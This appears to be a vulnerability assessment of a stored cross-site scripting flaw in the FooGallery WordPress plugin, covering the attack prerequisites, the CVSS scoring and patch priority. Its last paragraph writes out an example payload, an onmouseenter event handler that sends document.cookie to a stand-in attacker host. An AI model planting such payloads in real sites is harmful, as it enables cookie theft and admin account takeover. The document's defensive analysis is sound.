FooGallery WordPress Plugin CVE-2026-9134

Exploitation requires an authenticated WordPress user account with at minimum contributor-level role on the target installation; subscriber-level and unauthenticated access are insufficient. The attacker must be able to create or edit posts or pages that include FooGallery shortcodes with a custom_attribute_key parameter, a capability tied to the WordPress 'edit_posts' permission level. The injected payload is persistent (stored in the database) but only executes when a second user navigates to the affected page - the victim must passively load the page for the event handler to fire on a mouse interaction. Limiting factors: (1) contributor-level or higher authentication is mandatory, ruling out anonymous exploitation; (2) passive victim interaction is required - the script does not execute server-side or without page visitation; (3) only sites running FooGallery 3.1.31 or earlier are vulnerable; (4) sites that do not grant contributor access to untrusted parties have substantially reduced real-world exposure.

The provided CVSS 3.1 base score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) warrants a notable caveat: the UI:N designation appears inconsistent with standard Stored XSS scoring practice. Stored XSS payloads execute only when a victim navigates to the injected page, which canonically maps to UI:R in CVSS 3.1; Wordfence's UI:N choice may reflect a methodology difference and should be verified against the vendor's advisory rationale. The PR:L requirement - confirmed contributor-level access - is the primary real-world risk limiter. On many WordPress sites, contributor roles are granted to guest bloggers or external authors, potentially widening the attacker pool beyond a purely internal threat. The S:C (scope change) signal is accurate: the injected payload runs in victim browsers, not the server process, and can target authenticated administrators to escalate further. No EPSS data was provided; no CISA KEV listing exists; and no public exploit code was identified, making this a medium-priority patch item rather than an emergency response scenario. The plaintext source code of both vulnerable functions is publicly linked in the references, providing sufficient detail for independent exploit construction.

An attacker with WordPress contributor credentials - which can often be self-registered on open-contributor sites - creates a post embedding a FooGallery shortcode with the custom_attribute_key parameter set to a value such as 'onmouseenter=fetch(https://attacker.example/steal?c='+document.cookie)'. The gallery plugin writes this unescaped value into the container element's HTML, producing a live event attribute. When a site administrator or other authenticated user later visits the published page and their cursor enters the gallery, the JavaScript executes in their browser session, exfiltrating their authentication cookie and potentially enabling full admin account takeover. No public proof-of-concept code has been identified, but the vulnerability is trivially reproducible from the linked source code.